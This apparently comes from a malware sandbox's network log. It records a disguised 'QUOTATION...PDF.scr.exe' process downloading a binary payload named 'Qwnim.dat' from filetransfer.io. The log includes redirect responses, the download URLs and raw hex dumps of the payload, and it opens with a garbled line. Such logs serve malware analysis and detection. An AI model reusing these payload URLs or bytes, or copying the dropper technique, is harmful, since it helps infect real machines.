%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbjrV`S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50255	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:06 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:06 UTC	1076	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:26:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=fa9ule33achgdutkdlaiaeeulk; expires=Fri, 18-Oct-2024 09:26:06 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/oU6fOMiuNfFu CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B2M77G0%2Fv4PcR49Ywd2vGfvR%2BE2Oft8hCsWYQpWnqVf1%2Fu6TfZTePMQXm%2BAlPWUJ5sp10w2b6pzyDshzqpSHG6N2Oh31hQy%2FK8fyWCWKwt1OD9vkDVYmgJVGs%2Bbs0mq%2FgYw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd420e048488ce6-EWR
2024-10-04 09:26:06 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 6f 55 36 66 4f 4d 69 75 4e 66 46 75 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/oU6fOMiuNfFu">Please click here to continue</a>.</p>
2024-10-04 09:26:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50256	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:07 UTC	98	OUT	GET /storage/download/oU6fOMiuNfFu HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:08 UTC	1026	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:26:08 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=a27188cf178f2363e03c9d62e64907d7; expires=Fri, 18-Oct-2024 09:26:08 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LKGmjk2pERZDMEIsGW%2FpZmcSk0%2FzeizCaBDoInfcYtbaFLHBdzyc4VPKGd1kfI%2Be2A3OOWIQn9gXwAxMKloEPViYit8zDP2CtnvWfU6X9gxDlN50LrxM%2FhC7rvj3fnAkxC%2F5%2Fksv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd420e8aab143df-EWR
2024-10-04 09:26:08 UTC	343	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:26:08 UTC	1369	IN	Data Raw: b1 49 bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b Data Ascii: IK>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEp
2024-10-04 09:26:08 UTC	1369	IN	Data Raw: 47 8f 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 Data Ascii: GwH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdx
2024-10-04 09:26:08 UTC	1369	IN	Data Raw: a7 70 dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 Data Ascii: p&J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<
2024-10-04 09:26:08 UTC	1369	IN	Data Raw: 17 7d 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 Data Ascii: }Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:26:08 UTC	1369	IN	Data Raw: c8 a6 df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O
2024-10-04 09:26:08 UTC	1369	IN	Data Raw: 49 66 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 Data Ascii: IfSv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+V
2024-10-04 09:26:08 UTC	1369	IN	Data Raw: 6c a6 f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa Data Ascii: lBjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0
2024-10-04 09:26:08 UTC	1369	IN	Data Raw: 2f a1 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 Data Ascii: /ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0X
2024-10-04 09:26:08 UTC	1369	IN	Data Raw: 64 bc 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a Data Ascii: dNc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50259	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:11 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:11 UTC	1068	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:26:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=htg58j1kjndq7o14iop8h8vq5a; expires=Fri, 18-Oct-2024 09:26:11 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/ZRP1AkSP9kG2 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cLe%2FDIskxO99ncwbC%2BQzkvP1p4jOTlFux3glGPMhYdOTQPFNXYsc1SjF6%2FXHWpnDabBjva5xG1lmOHtUFO9jS3UfXrXFr4Fk%2B9CFgXCMpBLa5sgM9Qigod9K98MWvXA8Z1M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421004ed41906-EWR
2024-10-04 09:26:11 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 5a 52 50 31 41 6b 53 50 39 6b 47 32 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/ZRP1AkSP9kG2">Please click here to continue</a>.</p>
2024-10-04 09:26:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50260	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:12 UTC	98	OUT	GET /storage/download/ZRP1AkSP9kG2 HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:13 UTC	1030	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:26:13 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=3065aec534e2629d9228c10d56ab1c7d; expires=Fri, 18-Oct-2024 09:26:12 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AQbl1vKD7F55oqhXZbJ4s0oCCG4%2Be4l0fA3J%2BiCFyl9e6ka3AhmKpcsRsqCkTmdf88%2BGY39xTcDP%2B5wLIKeBoIeqfW%2F%2FMTcpc7fYCfYDTwUnXdF%2FzARA5IM3la%2BhsOwQZ5cb3XJu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd421069b6a4313-EWR
2024-10-04 09:26:13 UTC	339	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:26:13 UTC	1369	IN	Data Raw: 31 0d 97 04 b1 49 bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 Data Ascii: 1IK>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEp
2024-10-04 09:26:13 UTC	1369	IN	Data Raw: ac b1 f8 a6 47 8f 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f Data Ascii: GwH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNd
2024-10-04 09:26:13 UTC	1369	IN	Data Raw: 4a 72 f7 58 a7 70 dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 Data Ascii: 